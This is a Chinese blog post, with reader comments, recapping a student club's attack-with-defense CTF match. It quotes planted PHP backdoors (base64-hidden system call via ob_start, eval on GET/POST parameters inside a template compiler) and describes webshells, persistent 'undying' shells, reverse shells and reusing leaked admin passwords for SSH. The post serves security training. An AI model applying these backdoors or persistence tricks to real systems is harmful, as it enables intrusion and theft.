Vidar-Team 内部 AWD 线下赛总结

今天六一,协会举办了大一第一次线下 AWD。
很开心最后我们组能获得第一。虽然上午被疯狂 Check Down 到自闭,但下午全靠 Moesang 大佬弹了四五个 Shell 疯狂cat /flag,同时 Y 也把 Pwn 给修好了。一下午就没怎么 Down 过,除了我中途修坏了一道 web 才 Down 了一轮。(是我太菜拖大家后腿了嘤嘤嘤

这也是我第一次打 AWD 啊。 这几天都在给 Liano 写脚本,都没怎么好好准备。写了个叫 Mashiro 的文件变动检查工具,然而最后没部署上。
题目全都来自于去年协会 HCTF 2018 线下赛。难度感觉还好,毕竟是线下赛,主办方还是尽可能会希望比赛激烈一点比较好,因此洞不少 ,也很容易找。
嘛,下面就来根据具体的题目来讲讲这次 AWD 有趣的地方吧。

YEM

Web1

Web 隔了四十多分钟才放题。因为是每个人私发的 SSH 密码,所以我和大多数人一样,连上后就没有再修改过 SSH 的密码。
上去后第一件事,找到环境目录后开始用tar备份:

tar -czvf c0de.tar ./

然后再赶紧scp拖到本地:

scp -P 31005 ctf@192.168.1.3:/var/www/html/c0de.tar ./

因为是第一次打,也没有准备什么一键自动化的脚本。全程靠手动。
之后的数据库,本来是想mysqldump的,最后发现源码中有,也就没做了。
发现题目是类似大多数 PHP 框架一样,将入口放在一个public文件夹里。这样对上通防和流量检测来说确实很方便。但是我写的文件检查工具就不太好配置访问的目录了。也是因为这个原因,最后 Mashiro 没用上。
简单的看了下代码,看不下去,直接上自己的站尝试找找洞。注册了个账号后,发现有个可以修改头像的地方,猜想是不是会存在任意文件上传。
我上传图片,然后 burp 抓包改内容为 PHP,居然真的上传成功了!!到服务器的uploads上看了下文件,确实是.php类型,但是文件名变了。翻了下本地的源码,发现:

$filename = md5(time());

原来就根据当前时间戳md5后生成的啊。赶紧找了台别人的机器传了个一句话木马,真的cat到了 flag,真的开心!!
在 Moesang 的帮助下用 Postman 交了 flag,一血拿到。
然而之后才发现其实不需要 burp 改包再传的,可以直接在网页上选择 PHP 文件上传即可。

赶紧用这个洞打了一波,拿了三四个机器的 Shell,便开始想着怎么做权限维持。但是很可惜,我尝试过写不死马以及文件,但是都失败了。时候听 Hammer 说好像是因为文件只能写到/tmp目录下。
渐渐地,其他队伍也注意到了这个洞,那么下面就是修了。
比较常规的方法是加一句判断一下$ext变量是否为.php,然而我为了速度,直接改成

$filename = md5(time() . 'abc123');

这样即使 PHP 文件上传上去了,攻击者也找不到文件的位置。也达到了防御的效果。

PS:刚开始的一段时间,Web1 的 Check 都没开起来,所以 Moesang 直接把 Web 目录的权限给下了,然后 PHP 外部 IP 访问直接 403。

但最后权限维持还是没维持住。别的队修了以后就顺手把我的 Shell 给删了;虽然可以在文件名前面加.变成隐藏文件,或者放在别的目录下。但都不是长久之计。

秒解 Pwn 题

这个真的是够我吹一波的。
当时感觉权限维持没戏后,突然看到源码中有个AdminController的控制器。觉得这个网站有管理员账户。想到之前 Liano 打西湖论剑线下时抢先改了全场的密码。感觉这里会有点东西。
去我自己 GameBox 上看了下数据库,发现管理员账户的密码,居然和我服务器 SSH 的密码是一样的!!
这就很可怕的,我赶紧用手中剩下的唯一一个 Shell,查询了那台机器 MySQL 数据库中的表。拿到网站管理员密码后,尝试使用它 SSH 连接了一下对方的服务器,发现居然连上了!!
赶紧连上对方两道 Pwn 题的服务器,密码一改,cat /flag,疯狂上分。

估计对面也是挺懵逼的。薯片赶紧来查看了下情况,我出去跟薯片讲了下我的做法。然后……学长通知大家改 SSH 密码……
但是,我这个两个 Pwn 的服务器,还真是帮我打到了第一。对面当时一直不敢去申请重置,重置后也只是修改了密码,没有重启这个容器,导致已经登录的我并不会被登出。

但我们队也因为这个付出了代价:
因为发现了这个洞,我们赶紧修改了自己 MySQL 数据库内的数据。然后一个上午一直被 Check down。最后问了学长,发现 Check 会去登录这个管理员账号来判断服务是否可用。
哇!!真的亏大了。直接掉到 9000 多分。

遭遇不死马

在任意文件上传这个洞被大家修得差不多,并且在不断因为改了数据库而 Check down 时。我发现我们的 Web1 居然被 Annevi 他们队给攻陷了!看来他们是发现了新的洞。
Moesang 查看进程发现我们被种了不死马。这下我开始慌了,眼睁睁的看着对面每轮开始疯狂上分,自己的 GameBox 怕会沦为跑马场。
Moesang 赶紧写了个删不死马生成的 Shell 的程序,但是治标不治本。
最后我们想到——在服务器上,是以ctf账户登录的,而 PHP 是www-data账户运行的,因此在服务器上 SSH 无法删除。
最后我们写了个 Shell 放自己服务器上,然后用 PHP 调用后执行kill -9 -1命令,那就是以www-data账户执行了,杀掉了www-data的所有服务。
值得注意的是,这步操作还是在每轮中途做,因为把 Check 的访问给 down 了就完了。

最后再捞了几个 flag

晚上快结束的时候,Hammer 告诉我 web1 其实本身就有三个后门。依靠 Moesang 用 D盾 扫描的结果,我们发现了两个地方。

@ob_start(base64_decode('c3lzdGVt'));
echo "$_GET[persistent]";
@ob_end_flush();

上网搜了下,这是个ob_start的后面,D盾 显示c3lzdGVt base64_decode后就是system
这里简单的聊聊ob_start吧~

ob_start()

ob_start()执行以后,原本将准备输出到页面的内容会全部被存放到缓冲区,最后在遇到ob_end_flush()后再全部输出。
就开发方面来讲,ob_start()就是 PHP 模板语言的实现方法——将原本要输出的模板语言,放入到缓冲区中,对其中的相关标签进行修改赋值,最后再赋值。
我由此想到,之前遇到过在使用header()进行 302 跳转时,header()前不能有任何输出的。我们或许可以在最前面使用ob_start(),来暂存所有的输出。使得header()可以正常运行不报错。(之前在写 Cube 的时候遭遇的这个问题,当时也没有给出很好的解决办法,最后是前端 JS 实现的跳转。

回到 AWD,很遗憾,因为题目 PHP 环境配置的原因,这个ob_start()的后门并不能用。我也是直接注释掉了这一句。

第二个地方是在libraries/lithium/template/view/Compiler.php里面。

'/\<\?=\s*(.+?)\s*;?\s*\?>/msx' => '<?php echo $h($1);@eval($_GET[along]); ?>'

也是用 D盾 可以扫出来的。Annevi 就是拿这个打的我们。利用方法是找个 404 的界面,然后传入along参数就行。
为了能过 Check,保险起见,只是把 eval 那一段给删去了。其实eval改成echo更保险些。(鬼知道这 Check 什么规则
快结束时用这个洞捞了几个 flag。

Web2

下午在我 Web1 被打的快自闭时,Web2 出了。
还是照常步骤,备份源码。但这源码打开一审计,满满的 dedecms 的风格。就像是那种从网上买的 PHP 网站源码一下。写的真的不敢恭维。
这次直接 D 盾一扫,直接找到了几个很显眼的后门。
D盾

/config/emmm_version.php中的@eval($_POST[ahahahhahaah]);。赶紧打一波。
这一次学聪明了,我们这次直接 bash 弹 Shell 来实现权限维持。不少队伍 web2 一直被 Check down,无可奈何去申请重置环境。在他们的环境重置后,Moesang 趁着他们还没开始修洞,赶紧拿这个洞弹 Shell。最后是有 5 个 Shell 的样子。疯狂cat /flag上分。

一个很蠢的地方

D 盾还扫出来了一个include的文件包含。但是当时我和 Moesang 都认为文件仅仅是被包含了进来,没有进行echo输出,是看不到内容的。
但是后面频频被打,最后我在自己机器上试了下,才发现这是可以直接包含输出的!!因为包含进来的是纯文本,不是 PHP!!
赶紧及时止损,修了这个洞。

借 Shell 修洞

当时我和 Moesang 还没发现上面 Web1 中的along参数任意代码执行。疯狂被打。
这时,Moesang 发现有一队的 Web1 一直是正常的,而我们刚好有那一队的 Shell。赶紧在那一队服务器上用scp把他们的网站源码传到了我们的服务器上。虽然我们没找到洞在哪,但别人已经修好了,何不直接拖来用呢?

以退为进

要说最后 Moesang 能手握一堆 Shell 而不被打。其实是有方法的。
他在拿到服务器的 Shell 后,顺手帮对方把对应的洞给修了。因为这时已经是比赛后期,大家也都没心思防守了。帮对方修了洞,也就防止了别的队伍靠这个上分。
最后的结果就是,我们的权限维持住了,被修洞的安心被打,还在打的又攻不进来。

攻击的一方在说:“他们居然都把这个洞给补了?!”
被打的一方在说:“我怎么一下防住了这么多人打我?!”

实为妙计。

善用 Google

结束后,Hammer 告诉我,其实有一种偷鸡的做法。在 Google 上可以搜到去年 HCTF Final 的 Writeup。里面描述了两道 Web 题中的相关漏洞,并给出了攻击脚本。
唔…… 我之前用百度搜没搜到,真是气啊!

总结

第一次 AWD,感觉拼的还是速度。其中很多地方都能用脚本实现自动化操作的。并且在比赛中途,发现漏洞后也可以尝试写一个自动化脚本利用交 flag。
并且因为我们缺少一个流量监测平台,因而 Web1 一直被打但却一直没找到洞在哪。
GitHub 上好像有个不错的项目可以使用:wupco/weblogger

并且就战略而言,因为这次是每轮服务被 Check down 扣 60 分,服务被攻陷扣 10 分。因此均衡利弊,当没找到相应的漏洞时,宁可每轮被对方攻陷,也不能为了保险把服务给下了。我们就是因为上午疯狂被 Check down 的原因而掉了很多分。事后想想还是直接被打的好。

并且——我还认识到了一个新的 PHP 框架:li₃。UnionOfRAD/lithium Web1 的题目就是基于这个框架搭建的应用。审源码的时候我发现 li₃ 的代码真的是通俗易懂。一眼望过去没有一行是多余的。并且她也有像 Laravel 一样的报错页面,整个 UI 也比 Laravel 的好看很多。有空想去学学。

嘛就这些啦~ 之后还得接着肝 Python 脚本以及期末复习 QAQ,希望这学期别再挂科了。<—-不存在的。

7 条评论

昵称
  1. kev1n

    拿到shell之后的操作tql,学到了orz

  2. 幼稚园

    观摩第一的大佬们ヾ(๑╹◡╹)ノ”

    1. John

      欢迎方姐姐ヽ(✿゚▽゚)ノ

  3. Annevi

    web2 修了的洞被先打进来的人重新改回去了。。哭。。一直到结束都没发现。。

    1. John

      对哦,可以把修好的洞再改回去。这样就不会被发现了!学到了学到了,嘻嘻。

  4. ACce1er4t0r

    他们重置pwn又不重启docker,我又有什么办法呢QAQ

    1. John

      心疼AC ( ´・ω・)ノ(._.`)